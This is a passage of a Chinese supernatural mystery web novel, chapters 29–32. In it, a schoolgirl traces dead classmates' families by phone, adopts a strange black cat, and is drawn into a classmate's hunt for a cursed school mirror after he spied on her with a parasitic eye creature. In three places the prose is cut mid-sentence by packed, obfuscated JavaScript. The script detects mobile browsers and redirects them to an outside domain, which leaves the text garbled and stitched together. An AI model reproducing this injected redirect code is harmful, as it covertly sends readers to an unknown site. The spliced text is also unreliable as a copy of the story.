将这小东西带回来是一回事,大晚上住一个房间又是另一回事了。虽然黑猫表现得很呆萌也还算懂事,但她还真没有让一只只认识几个小时的动物住到自己房间的打算。 从衣柜里拿出一件平时不怎么穿卫衣,便噔噔噔地下了楼。将手里地衣服折好,选了一个比较适合睡觉地位置,将衣服铺在了上面。 安然叫了几次,小东西明显是听到了,耳朵尖一动一动的,但就是闭眼趴在地上,一副我已经睡着了完全听不到的样子。 脾气还挺大。 看着它半眯不眯时不时偷瞄几眼的样子,安然莫名觉得有点好笑。 还是动物好,所有想法都表现在行为里,没那么多弯弯绕绕。 她走到楼梯口,将黑猫放在铺好的卫衣上,摸了摸它的头:“今晚你就睡这儿。” ……………… 安然回到房间,拉过一旁的枕头,靠在床头,双腿搭在床沿上,拉起一边的裤脚。 姜慧一边的眉毛已经彻底消失,另一边的眉毛竟然也有了淡化的迹象。 怎么这么快… 安然皱眉看了一会儿,拿出手机翻开下午在档案室拍的照片。 【19:45】 这个点,就是老人应该也没那么早睡。 将6人的联系方式一一抄在了纸上,又找了个靠谱的虚拟号软件,撑着下巴琢磨着一会儿打过去该以什么样的说辞。 女生倒是还好,主要是那两个男生,毕业都这么久了,说不定对方已经结婚,一个女生还是在晚上打电话给他父母问对方现在的联系方式,怎么看都很奇怪吧?! 想到这,安然准备先拿林梓露的父母试试水。 林梓露妈妈的号码很快便输进了手机,按下通话键—— “对不起,您拨打的电话是空号…” 冰冷的机械音立马从听筒那边传了出来。 挂掉电话,虽然早就猜到了这种可能,但心里多少还是有点失落。 但很快她便调整好了心情,给林梓露的父亲打了过去。 “嘟——” 通了! 安然眸色一喜,就听那边有人接起了电话:“喂。” “您好,请问您是林方平么?” “不是。你打错了。” “嘟嘟嘟…” 那边直接挂断了电话。 安然拿出笔将林梓露后面的两个电话都划掉了。 又拨通了另一个叫蒋清怡的女生父母的电话,但同样的,一个是停机的状态,另一个则是空号。 挂掉空号的,在她母亲号码后面写上了“停机”两个字。 然后是葛鹏,两个电话都是空号。 再是江源。 一个不在服务区,另一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850081|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也已经换了新的主人。 安然看着最后两份资料,姜慧和夏澄澄。 想了想先是拨通了夏澄澄妈妈的电话。 空号。 又是一连串的号码,按下通话键。 “嘟——” 听到电话接通的声音,安然已经没有可以一开始的激动。 “嘟——” 听筒里有节奏的嘟嘟声持续着,就在她以为这个电话就要自动挂掉的时候,手机那头传来了略有些沙哑的中年男人的声音:“哪位?” “您好,请问您是厉远山厉叔叔么?” “我是厉远山,你哪位?” 安然眼中一喜:“我是您的女儿夏澄澄的学妹。学校之前校庆,展出了一部分优秀学生存放在学校的获奖的作品还有一些照片。其中就有不少是澄澄学姐的… 学校的意识是这些展品承载在不同时期的成长,所以会全部寄回给作者。如果可以的话,您能给我一个学姐的联系…?” “不用了。”那边没有等安然说完,直接打断道:“你们自行处理就好。” 安然一愣,没想到对方会拒绝的这么干脆。 “不能让我和学姐说说么?或者您喊她接一下电话?” “听不懂么?!我说用不着!不需要!”说完就直接挂断了电话。 安然抿唇,怎么想都觉得自己这个借口很合理,为什么对方连个电话都不给,还情绪这么激动? 难道是父女两个吵架了? 那也不至于吧。 安然在夏澄澄父亲电话后打勾的手突然停了下来。 父女… 也许夏澄澄不是随母姓呢? 之前是被那些档案震惊到了,这会儿冷静下来才想起来,一个名字出现在了她的脑海。 夏光远。 那个被夏澄澄写在镜子上的人名,还有后面一串数字【1967.7.13】,应该是对方的生日。 这个人应该不是夏澄澄胡诌的,而且对她来说很重要,姜慧一定也知道,否则她也不会来赴约。 假设这个人才是姜慧的父亲。已经死去的父亲,厉远山只是继父的话,他的态度可能就显得正常了一点。 毕竟很少有和继父女关系好的相对来说并不多。 看了眼时间,已经8点38了。 不再浪费时间,直接输入了一串号码。 空号。 划掉姜慧父亲的电话,重新输入了另一组号码。 “嘟——” 通了!!! “嘟——” “喂?您好,是楚姗姗楚阿姨么?” “你是…?” “妈,这个点了是谁打电话来啊?”电话那头有其他人的声音传进了听筒。 是个男人的声音。 安然垂眸:“哦,是这样的,我是您的女儿姜慧…” “嘟嘟嘟嘟…” 一阵短促的忙音过后,电话自动挂掉了。 安然眉间拧成了一个疙瘩。 直接挂断是什么意思? 想了想,安然又再次拨了过去。 “嘟——” “嘟——” “你听好了,不管你是谁,要是再敢打电话来,我就报…” “您知道您女儿已经死了么?”安然打断对方威胁的话语,也不打算再虚与委蛇,直接开门见山。 那边一下子沉默了下来。 安然静静地听着那边粗重的呼吸,像是在压抑着什么,过了才用一种压抑又愤怒的声音问道:“你、是、谁?” “我是谁不重要。重要的是您知道您的女儿在很多年前就已经死了么?” 那边再次沉默。 安然已经从两次沉默里得到了确切的答案。 她知道。 姜慧的母亲知道她已经死了。 安然一开始没打算说的这么直白,对于一个母亲来说,这无异于在对方伤口上撒盐。 但对方又是什么时候知道姜慧已经死了呢? 是失踪多年后迫不得已的承认,还是从一开始揣着明白装糊涂的心知肚明? 安然更倾向于后者。 否则就不会那么快举家搬迁了。毕竟如果真有女儿失踪,大多数家庭都会停留在原地,生怕回来的亲人找不到回家的路。 所以,安然不介意直接扯开对方自欺欺人的那块遮羞布。 更何况没有突破口就代表姜慧得不到安息,自己很可能会死。 她不想死。 安然原本以为这人会接着说点什么的。 但沉重的呼吸只维持了十来秒,电话那头便又传来了嘟嘟嘟的忙音。 又挂了。 安然皱眉犹豫着要不要再打一个,看了眼时间,9点还差3分。 就又拨了回去。 “您好,您拨打的电话已关机,sorry……” 竟然关机了。 随手将手机放在了床头柜,看着手中的纸条,目前能够肯定号码主人的一共有两个。 还有两个都还在使用,但暂时都还联系不到。 姜慧妈妈的态度实在有些奇怪。 说一点都不在意姜慧吧,不是,沉重的呼吸声明显在压抑着什么。可真要是在意,又为什么任由姜慧一个人死在冰冷的角落,连尸体都找不到。 在各种未知和猜测中,时间竟快到了10点。安然关上灯,一开始还试图想个答案,但随着时间的流逝,渐渐有了睡意… ………… 午夜。 凌晨十二点。 原本沉睡的小黑猫睁开了眼。如果安然这个时候下楼,就会发现眼前的这只异色双瞳早就没了之前的软萌无害,它懒懒地瞥了眼楼梯的方向,便转身进了安老头的房间... 30. 第30章 晨起透进窗帘缝隙的微光,唤醒了睡梦中的安然。 本来会以为因为昨晚的事,自己这一觉会睡的很不踏实,没想到竟一夜无梦。 露出脚踝,每天看一眼姜慧的脸几乎成了她的必修课。 果然。 姜慧另一边的眉毛已经淡化了一半。 速度和她预测的差不多。 垂眸看了会桌上记录着的电话,默默告诉自己,冷静。 心急吃不了热豆腐,最主要的两个人能确定已经超过她之前的预期了。 毕竟人不能太贪心。 简单洗漱了一番,刚想下楼,余光就瞥见一道深蓝的衣袖搭在一楼楼梯的台阶上。 遭贼了? 她屏住呼吸,小心翼翼地探头往下看。 正巧看见一条黑色的地尾巴搭在了袖口,还颇为惬意地蹭了蹭。 安然这才发现那衣服看着竟有点眼熟。 往下走了一步。 原本趴着肚皮一起一伏的小东西蹭地一下就抬起来头,直接和她来了个对视。 见来人是安然,‘喵呜喵呜’了两声,就又趴了回去。 怪不得感觉眼熟,敢情是昨晚给那小家伙垫的卫衣不知道什么时候被它拽到了楼梯口。 还挺机灵。 知道上楼会挨打。 绕过黑猫,她去厨房倒了杯水。温热的水一入口,整个人都跟着放松了下来。 从冰箱里拿出一个馒头,再抓一小把黄豆,早餐就搞定了。 她刚想将黄豆放进豆浆机,就瞥见那小东西正哼哧哼哧地将那件卫衣拽到了原位。 安然垂眸看着手里的黄豆,最后还是放回罐子。从冰箱里取出一小块五花肉,烧水、切片,哪多久,两碗香喷喷的汤面就出锅了。 小黑猫早就闻到香味了,见安然出来馋的直在她身边打转。 她刚将其中一碗放在地上,那小东西就迫不及待地围了上去。 刚开始,安然还担心汤面会烫到它,可没想到这小家伙还挺讲究,一边眼巴巴地看着,一边使劲儿甩动尾巴,像是在用尾巴驱赶温度。 等面没那么烫了,才大口大口地吃了起来。 看着小家伙吃那么欢,安然眉眼也染上了几分笑意,但这笑意很快便僵在了脸上。 它会不会有些太聪明了?聪明地有点不像是普通猫咪了。 念头一起,那双异常明亮的异色竖瞳再次浮现在了她的脑海里。拿着筷子的手不自觉握紧,原本美味的食物也变得索然无味起来。 喝了口汤,安然便将面条推到了一边,垂落的发丝遮住眼底的情绪,看着大口大口吃面的黑猫让人看不出在想什么。 收拾完厨房已经快要7点半。 安然抱起黑猫,走出了家门。 街边的店铺有不少已经开门了。 “小然啊,怎么还养起猫了呀?”离她家店铺不远专门卖纸扎花圈的刘叔看到安然怀里的小猫惊讶道:“还是只纯黑的嘞!听叔一句劝,黑猫养不得,邪得嘞!哎呀,这眼睛咋还不一样呢!” “老李你就扯吧!还黑猫养不得,啥子养不得嘛!人家猫儿身上的颜色是自己能选的嘛!我那外甥女家的猫儿也是黑滴,啷个也没见遇到啥子邪门事嘛!”对街同样卖花圈的张叔不以为然,还打着哈欠,这会儿可能还没彻底清醒,带着家乡味的普通话就直接飚了出来:“眼睛不一样又咋了嘛!这都能给你吓一哆嗦,大惊小怪!我告你这叫啥!这叫...鸳鸯眼!贵着嘞!再说了,老安头是啥子人喽!你这不是关公面前耍大刀,咸吃萝卜淡操心嘛!” 被怼的刘叔,脸色有些不好看,对着安然讪笑了两声,倒不是怕了对街那个,只是提到了安然爷爷,让他一时间不知道说点什么好。 虽说同行是冤家,别看刘叔和张叔平时吵的欢,其实两人私下关系不错。 所以见两人斗嘴,安然也没有参与的意思,只笑着对两人道:“刘叔,张叔,这猫是我捡的,我平时学习忙也没时间照顾,这家伙又着实太小了点,放在外面怕是没几天就会饿死,这才打算送到学校附近的宠物救助站,看看能不能遇到好心人能收养它。” 怀里的小黑猫这时动了动。 “要不说还是咱们小然心眼儿好呢...”刘叔接了安然递来的台阶,又似是想到什么,从兜里拿出个东西,语气里多了几分唏嘘:“送救助站好!要是别的小孩儿遇到指不定怎么折腾这小东西呢!我昨天从后街那边回来的时候,正好看见几个熊玩意儿拿鞭炮追着猫跑呢。你是没看到那瘪犊子有多欠揍!” 安然瞥了一眼,是一枚校徽。被手指遮住了大半,只看到了个‘级(5)班’。 “ 都让我拦下的时候还不服呢!说什么打小猫能赚钱,我爸妈都让他打,凭啥我不让!你看看这说的是人话嘛?!气的我差点给他个大嘴巴子!要我说,这些熊玩意就是家里人宠坏的!将来早晚得吃牢饭!” 将卷帘门推到一半的张叔一听乐了:“呦,这一大早总算说了句中听的!” 安然见刘叔开始撸袖子了,知道这两人又要开始拌嘴,打了声招呼就赶紧逃离了战场,离开前刘叔咬牙切齿的声音还能听得到:“刚跟你说话了嘛!昨晚打牌输给老子了,咋的,打算用你渊博的养猫知识搬回一局?那你可是太厉害了!” “昨晚是我大意了...有本事今晚继续…” ........ 将这小东西送到宠物救助站是她吃早饭的时候临时决定的。 一方面的确是它太小了。 也不知道是经过了一晚上的相处还是因为那个古怪的‘梦’,她对这小家伙似乎生出了一种很奇怪的情绪,说不上是恻隐还是别的什么。 另一方面,她想看看这只黑猫究竟是不是‘梦里’那只。如果真是刻意接近自己,那么它一定会从救助站跑出来再来找自己,但如果不是...在那儿说不定能遇到一个不错的主人。 也算是善始善终了。 公交车不能带宠物,安然最后选择了坐打车。 司机师傅见安然穿着校服还带着一只猫也是觉得新奇,于是打趣道:“现在上学都能带猫了?” 安然听对方没有恶意,也笑着回答:“真要那样,估计学校就得成动物园了!” 司机师傅也笑了笑,瞥了眼安然身上的校服:“一中?” 安然摇头: “麻烦去一中附近那个宠物救助站。” 出租车师傅听她这么说,搓手指的动作一顿,回头多看了黑猫两眼:“呦,长这么精神,也舍得送救助站啊!” 安然后排落座,系上安全带,挠着黑猫的下巴,笑了笑,没有搭茬。她按下车窗,车里的烟味瞬间被吹进来的风卷走个七七八八。 小东西舒服的眯起了眼,从上车起便一直享受着安然的抚摸,连叫都懒得叫一声。 倒是会享受。 “同学,要不你也别麻烦再去救助站跑一趟了,这小黑猫给我养怎么样?一直都想养一只,但总也没有遇到合适的,看你怀里这只就挺合眼缘。”一直沉默的司机突然对着后视镜向安然开口。 不止安然,一直眯眼的黑猫也突然看向了前面开车的司机。 “您喜欢猫?” 安然垂眸,只见小家伙同样歪头看着自己,似是在问‘怎么怎么不摸了?’一边看还一边用头蹭着她的手指,像是撒娇又像是催促。 感觉...错了? “当然喜欢啦!你养不了,我正好想养,就不巧了嘛!” 通过后视镜,安然看到了对方咧开的嘴,露出了里面黑黄的牙齿。 视线无意般落在司机握着方向盘的双手上,他的皮肤有些黑,食指和中指泛着略显浓稠的黄,“您知道我为什么非要送一中附近那个宠物救济站么?” 看上去是个老烟民。 对方一愣,似乎没想到安然会问这么一句,但还是犹豫着给了答案:“上学顺路?” “不是哦!”安然神秘一笑:“因为只有那个救助站的宠物被收养走以后,宠物原主人可以申请跟着救助站的工作人员进行定期回访。这小家伙我也养了有段时间了,要不是家里非逼着,我是说什么也不会把它送走的。所以,您要是真心喜欢可以到救助站去领养,这样我以后有空了,也能跟着他们一起去看看这小家伙。” 司机听后讪笑了两声:“那万一人家留的是假地址呢?” 安然摇头:“那儿的领养的流程是相当严格的,收养前都会对领养人进行调查。不符合领养规定的是不会通过领养流程的。我之前还听我们班同学说过一件特好玩儿的事...” 她的故作神秘成功引起了司机的兴趣:“什么?” “因为那里的收养流程严格嘛,就吸引了一些确实是因为一些原因不得不弃养宠物的主人,所以那些宠物当中就会有一些比较名贵的品种,有个狗贩子听说了,竟然敢伪装成了收养人,结果被救助站的人查到,没多久他的狗场就倒闭了...你说他傻不傻?” “是挺傻的...但他们是怎么让那狗场倒闭的啊?” 安然耸肩:“具体我也不知道,但是听同学说那个救助站的负责人是个官二代来着,好像是因为从小陪伴在身边的宠物被人偷走了,所以对一些偷狗人尤其是虐待动物的人特别反感...” 她说到这儿的时候,看到对方握着方向盘的手指紧了紧。 安然一看眉间不由微微蹙紧,又舒展开来:“所以我把我们家林妹妹送过去很放心,您要是真想养,到时候就去那里,只要对林妹妹好,给谁养不是养,您说呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她是有病还是怎么的,故意跑救助站门口虐猫?又不是什么18流虐文小说里的男主,还搞那套‘我不听我不听我就不听,我就只相信我自己看到的’那套,搞得她差一点就要飙出带M的脏话了。 见对面那个自打走进这包间就低垂着眉眼丁点没有要回答自己问题的人,安然也不惯着,拿起手边的背包,起身就要离开。 “等等。”对面的人终于抬起头,好看的凤眸漆黑的犹如一潭死水里不见一丝情绪,哪还有之前半点自来熟的样子。 “秦以淮,是你放学的时候突然出现,说有事要说!不管你叫我来这里目的是什么,难道不应该先给我一个合理的解释么?”安然指着桌上的只剩下半截身体毛绒挂件:“为什么要给我这种东西?!” “知道应声虫么?”卸下伪装的秦以淮看上去格外冷漠,就连声音也有种拒人千里的冷。 “应声虫?”安然皱眉:“那是什么东西?” “永州人毛景,得奇疾,每语,喉中辄有物作声相应。有道人教令诵《本草》药名,至‘蓝’字而默然,遂取蓝榨汁饮之。少顷呕出肉块,长二寸许,人形皆具。” 秦以淮这段也算比较白话的文言文了,安然自然听明白了其中的意思。 说的是永州有个叫毛景的人,得了一种怪病,每次说话,喉咙里就有个东西应声,毛景说什么,那东西就跟着说什么。有个道士告诉毛景让他诵读《本草纲目》,当读到‘蓝’的时候,那东西不吭声了,于是就取来‘蓝’这味药材榨汁喝了,没多久就呕出了一个肉块,长两寸左右,还有了基本的人形。 听明白了这话里的意思,想起那颗跑的飞快的眼珠子,她的脸色更加难看:“你是想让那东西...”接下来的话安然实在说不下去了,一想到那颗眼珠子会钻进自己喉咙,就止不住想要呕吐。 “不。刚刚说的那些只是应声虫的雏形。”秦以淮神情淡淡的。 “这玩意还有雏形?”安然将手指搭在唇边,那种恶心的感觉才稍微好点。 也对,她当时看到的可不是什么两寸大小的人形,而是那个毛绒玩具的眼珠子,想起自己之前不止上手摸过,还觉得手感温润,顿时整个人都不好了。 “食十人,可使其喉,声百变。食百人,可闻其声,风声皆可,食千人,方圆百里皆可嗅之,食万人,其目可窥万物。此为餍。”秦以淮不带任何情绪的声音配上这么段耸人听闻的内容,让对面的安然半天都说不出话。 食...食万人... 真的...假的... “你...”到底是什么怪物,怎么会拥有这么丧心病狂的东西。 “呵。”对面的秦以淮却突然笑了起来。 “你笑什么?”安然脸色彻底冷了下来。 “笑你天真。” 31. 第31章 “不过万人,就算丧心病狂了?我记得你们有句话怎么说的来着...” 秦以淮眉眼噙着笑,只是这笑意并不达眼底:“当利润达到10%的时候,就会有人会蠢蠢欲动。当利润达到50%的时候,他们将铤而走险。当利润达到100%的时候他们就敢于践踏人间的一切法律,而当利润达到百分之300的时候,他们将甘于冒着绞刑的危险。” 安然知道这话出自于马克思的《资本论》,但这和那所谓的应生虫又有什么关系? “你猜这世上真要有一本万利的机会,会发生什么?” “什么?” 秦以淮叩击着指尖,看向安然:“什么都不会发生。” “为什么?”尽管不想承认,但秦以淮的话的确引起了她的好奇心。 “因为这种‘一本万利’只会掌握在极少数人的手里。” 秦以淮说这话的时候语气平淡:“万人性命在你看来不可思议,但对于那些传承百年甚至不止百年的家族看来,人命并不值钱。万人能换一个可以学人声,顺风耳又能闻出人、鬼妖还能窥万物的餍虫...很划算不是么?” 安然哑然。 怪不得爷爷总说哪怕是恶鬼横行的乱世也比不上唯利是图肆意践踏人命坏透了的人心。 等等,他刚刚怎么知道自己想法的?那句丧心病狂她压根就没说出口,秦以淮又是怎么知道的? 就算那所谓的餍虫有天大的本事,可那东西不是死了么… 秦以淮像是猜到了安然的疑惑,指尖在桌面上叩击了几下,一个东西蠕动着从手腕袖口的位置露出了头,那睛是一颗小小的眼珠子。 安然被这突如其来的一幕吓了一跳,可这还不是最恐怖的,她明明亲眼看见这玩意被小黑猫给吃掉了,否则她当时也不会吓得用力拍那小东西的背让它吐出来。没成想东西没弄出来,猫跑了不说,还被那个二百五冤枉是虐猫。 “怎么会...” “餍虫有人形,自然也有两只眼睛。你那只黑猫...”秦以淮笑了笑,“很有意思。” 只是这笑在安然看来实在有点变态。 但很快她就想到了另外一件事,餍虫的眼睛能不能窥万物安然不知道,毕竟有些古人在记录一些事情时真的很喜欢用夸张的写法。 但有一点她能肯定,那东西应该是能监视她的。 这样一来新的问题就有出现了。 秦以淮为什么要监视自己?难道他就是那个一直隐藏在暗处的人? “你为什么要监视我?” 这话一问出口,对面的秦以淮没什么表情倒是安然率先变了脸色。这玩意可比微型摄像头要恶心人多了,摄像头顶多在一个特定的位置...这眼珠子可就不一定了。 想起自己洗澡换衣服的场景有可能被那眼珠子看的一清二楚,安然脸色便越发阴沉。 秦以淮显然没想那么多,毫无波澜的眸子甚至还闪过一丝疑惑,不明白刚刚还好好的人怎么气压一下子变得这么低。指尖看似无意地点在那颗小心翼翼趴在他掌心边缘的眼珠子上。蓦地手指一顿,脸色也变得古怪起来,手上一用力,那颗眼珠子顿时吱吱吱的尖叫了起来。 安然被对方这突如其来的动作吓了一跳,不知道这人又在抽哪门子的疯。 “咳咳...”秦以淮掩嘴咳嗽了一声,“你放心。餍虫只有在身体完整的情况下才能发挥出它的全部效力。在只有眼珠的情况下...目之所及才能看得到。” 安然一愣,随即明白了他的言外之意,脸色刚稍稍好了一点,又猛然意识到对方对方刚刚抽风的原因不止是在解释眼珠子的特性,还承认了他的确在监视自己。 一时间脸色变得怪异且复杂。 那颗眼珠子竟真的能窥探自己的想法。 安然垂眸,遮住了眼底的情绪:“所以呢?我和你之前没有一点交集,认识也不过2.3天,我实在想不明白为什么要监视一个陌生人。” “有人告诉我,你能帮我找到那个我一直想要找到的人。” “什么?”安然想过很多种答案,却唯独没料到会是这个。 “他说你能帮到我。”秦以淮看着安然,附着在漆黑瞳孔上的不再是冰冷、嘲讽和拒人于千里之外,而是她看不懂的孤寂。 那种感觉很奇怪,安然也无法形容,就像…就像眼前这个人并不完整,像是缺了些什么。 安然别过视线,之前那种匪夷所思的念头便立马消失了。 她将背包放在了腿上,心里已经做好了离开的打算。既然知道了原因,她也不想再和秦以淮纠缠下去。 被人监视的感觉很不好,天知道她现在都快要气疯了,她真的真的很想指着秦以淮的鼻子骂‘别人说,你就信?再说了,你家里人没告你,请人帮忙要用嘴问,而不是动不动就往人身上放虫子?!’ 但有的时候,人生就是很憋屈。无能狂怒什么都解决不了。 今天这个亏就当她技不如人,谁让自己手欠收了人家的东西?! 亏,她吃。教训,她也受。 但想让她帮忙什么的,恕她无能,别说没有那个能力,就是有那个能力她也不可能帮。又不是圣母玛利亚,要不是小黑猫,这东西估计还不知道要放自己身上多久! 至于秦以淮... 如果不是那颗眼珠子被吞了,他能屈尊降贵地跑来说什么帮忙? 狗屁! 他在达到目的之前绝对不会出现在学校。 安然起身,直视秦以淮的眼睛:“秦同学,我不知道你从谁那里听到这么荒谬的信息。首先,我只是一个普通的高中生,也没有什么寻人的特殊能力,我不觉得我有能力帮到你,与其找我,不如找警察来的快一点。其次,你监视我的行为已经严重冒犯到了我,我希望这是第一次同时也是最后一次。最后,请你自己主动申请调换座位,否则到时候场面可能会很难看。” 说完头也不回转身就走。 “等等。” 安然脚下不停,权当作没听见,手指触及包厢门把,拉开了一道缝。 “如果说我能帮你找到你的朋友丁筝呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850083|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安然回头:“你竟然知道丁筝?” “这并不难查,我知道你去她家,如果你答应我的话,我可以帮你找到她,这比你无头苍蝇一样的找,要有效的多。” “我怎么知道你说的是真是假?”尽管安然心中早已翻江倒海,但脸上仍旧看不出什么表情。 “我有必要骗你?”秦以淮嗤笑。 “有前科的人也好意思说这话?”安然并不买账。 秦以淮定定看了安然好久,随即笑了,从怀里取出一个信封放在了桌上:“算是诚意。打开看看?” 安然并没有犹豫多久,重新坐会到了对面的沙发上。信封就是普通的牛皮信封,并不厚。 拆开后,映入眼帘的第一行字就让她眉头不由一紧,看来秦以淮通过餍虫看到了不少东西。 【夏澄澄已于2009年4月于家中意外死亡】 【林梓露已于2009年4月于男友家自杀】 【江源于2009年4月失踪】 【蒋清怡已于2009年4月死于车祸】 【葛鹏已于2009年年死于心脏麻痹】 下面还有葬礼的举办时间以及所处的公墓位置。 死了。 当年的那些人...除了江源竟然全部都死了,而且还死在了同一年同一月。 4月。 又是4月。 会是姜慧做的么? 还有一开始说的‘差一个’,指的是江源? 这下好了,当年的参与者死的死,失踪的失踪,这让她上哪里找姜慧的尸体? 安然按了按眉心,强行压下再次陷入死胡同生出的烦躁,指尖点在江源的名字上。 她记得昨晚江源母亲的电话是不在服务区的。如果差的那一个真的是江源,那就意味着他还活着。 安然从背包里拿出昨晚记录电话号码的纸条递给秦以淮,指着其中一个号码问:“能查到么?” 秦以淮挑眉:“可以。” 安然点头,刚想说点什么,就见那只餍虫还被秦以淮攥在手里:“你这样它不会死么?” 秦以淮闻言,力道稍稍松了点,那眼球立马从指缝种挤了出来。连滚带爬钻进衣袖,隔着衣服,安然都能感觉到它的瑟瑟发抖。 “死了也无妨。只要本体还在,无非是多费些时间恢复罢了。” 秦以淮浑然不在意的态度让安然微微皱眉,但转瞬便恢复了正常:“需要我做些什么?” “你对一中镜子的传闻知道多少?” “镜子...”安然讶异地看向对面的人:“传说午夜会出现在楼道口的那面镜子?” 秦以淮点头:“我要你陪我找到那面镜子。” 安然挑眉:“你还信这个?那就是一届届老生留下来吓唬新生的传闻而已。” 秦以淮听后却摇了摇头:“我调查过,一中从09年到15年这段时间每年都有十几甚至20几个学生失踪,我调取过那些人的档案,全都是在4月份失踪,而这些学生在失踪之前都表现出了不同的异样。” 32. 第32章 “异常?什么异常?”安然被勾起了点猎奇的心思。 “那些人在失踪之前,似乎都很害怕镜子,而且脾气也变得十分暴躁。这也是为什么警方最后调查结果都是自行出走而不是其他。” “你的意思是,那个镜子的传闻和学生的失踪有关?” 秦以淮说没有说话而是点开手机,递给安然。 “都在这了?”安然接过手机,屏幕上是用手机拍摄的类似于卷宗的资料。 “嗯。” 她看了几页,越看眉头皱的越紧。 原来秦以淮口中的‘害怕’已经算说的相当委婉了。 像是类似打破厕所的镜子,扔掉同学镜子等等这些竟都是常规操作,打破学校玻璃、老师车窗玻璃、踩碎同学及老师的眼镜,甚至还差点发生好几起自.残和伤人未遂的事件。用受害人及目击者的证词来形容就是那些人在行凶时像是拼尽全力也要挖掉自己或是他们的眼睛一样。 “你要找的是这里的谁?”安然头也没抬状似无意的问了一句。 对面回答的也干脆:“他不在名单里。” 安然终于把视线从资料里挪开:“那你怎么确定他的失踪是因为镜子?” “直觉。” “直觉?”安然差点没被气的吐血,她竟然因为一句‘有人说’和‘直觉’沦为刀俎下的鱼肉。 大概是对面谴责的眼神太过于直接,秦以淮表情竟开始变得有些不自在:“我有自己的消息渠道。” 安然脸色这才稍微好转一点,见对方对自己寻找的人不愿意多说,也没再寻根问底。 继续看手机上的资料。看着看着她发现这些记录中竟有零星几份口供有提到学校那个镜子的传闻。但显然记录者似乎并没有放在心上,只留下【镜子传闻?考虑非法组织诱拐。】这几个字,多余的一个字都没有。 其实这也不难理解。 有些事情,哪怕是在学生之间传得沸沸扬扬,也不会轻愿意易告诉老师或是大人。因为他们很清楚自己会得到怎么样的答案,他们知道哪怕说了也不会有人认同自己的想法,得到的只是斥责、批评和不要相信怪力乱神的思想教育。 就拿这些记录来说,每个调查失踪的警察没有一个将这些人的行为归结于镜子上,无一例外都觉得是心理问题以及压力造成的。 这事别说是帽子叔叔,就是过去的安然,有人说这近百人的失踪是因为一面镜子,估计她也会瞥那人一眼,再附赠一句‘您没事儿吧?’。 安然仔细看了下提到这个传闻的几个学生的名字。发现其中一个学生竟然从13和14年两年做笔录时,都提到了镜子传闻。 她将手机递过去,指着手机的某一处:“这个叫瞿星瑶的女生,你觉得她会不会知道点什么?欸?等等,这个女生只在学校待了两年?” “她也失踪了。做完那份口供没多久就失踪了。” “失踪了?!”秦以淮的回答让安然感觉毛骨悚然,但很快她就反应了过来:“可这上面的失踪人员并没有这个人...” “名单上都是有报警记录的。这个瞿星瑶失踪后,她的家人并没有报警,而是给她办理了退学。” 这操作有些熟悉啊... “原因呢?别告诉我这么明显的异常你没去查。”安然看着秦以淮,等他的答案。 “父母双亡,由舅舅舅妈照顾。150平的学区公寓加上近600万赔偿保险金。” 秦以淮的回答也简洁明了。 孤女+房子+赔偿金简直是buff叠满的诱人奶酪。 “但这个人有些不一样。她在失踪前曾警告过她的好友,让她晚上千万不要回学校,不管是谁叫她,绝对不能回学校。” 秦以淮的表情让安然猜到这事可能不简单:“你觉得...她是自己离开的?” “这个可能性很大。我的人去找过他舅舅,他说瞿星瑶当时拿走了300万,将房子过户给了他们夫妻俩后就消失了,再也没有出现。” “说的实话?” 秦以淮哼了一声反问:“你觉得呢?” 安然了然:“瞿星瑶应该是知道点什么。拿到一半的赔偿金...对一个未成年来说,这并不容易,尤其还是在有慕名而来的监护人的情况下,简直称得上天方夜谭了…你的人也找不到她?” “你当大海里捞针很好捞?”秦以淮嗤笑。 安然耸肩:“你是事主,你开心就好。”懒得看对方僵硬的表情,将手机递了回去:“既然合作,那你也别绕圈子了,说说吧,你想让我怎么帮你?” 但秦以淮的表情变得微妙了起来,有点像是尴尬又有点像恼羞成怒。 安然挑眉,双手捂嘴故意用一种夸张的表情看向对方:“不是吧?你也不知道?!” 秦以淮恼羞成怒,连耳尖都微微泛红:“谁能想到你会这么快就发现餍虫?” “哈!照你这么说还是我的错喽?没能让你多监视几天,实在抱歉哈。” 安然这歉道的阴阳怪气,秦以淮哪有受过这样嘲讽,憋了半天才憋出两个字:“幼稚。” 过了两秒才又找补般说道:“要不是你之前油盐不进,我能把餍虫放你身上?” “是是是。问题都出在别人身上,大少爷您一点问题都没有。我就该在你假装自来熟的时候,自动拜倒在你的美貌之下,然后给您做牛做马,这样也不会让您浪费时间监视我的一举一动了。满意了?” 安然实在忍不住翻了个白眼,心里吐槽,这家伙到底是在哪个精分家族长大的,小小年纪就跟泡在油缸里似的一举一动都如此油腻,真是白瞎这张脸了,还不如之前的自来熟呢!最起码看着还像个正常人... “吱吱吱——”安然被餍虫的尖叫直接打断了后续的吐槽,嫌弃的瞥了眼对面脸色难看的少年。 一旁的秦以淮似乎被气的不轻,尤其是通过餍虫将安然想法看得一清二楚时差点直接把餍虫捏爆。 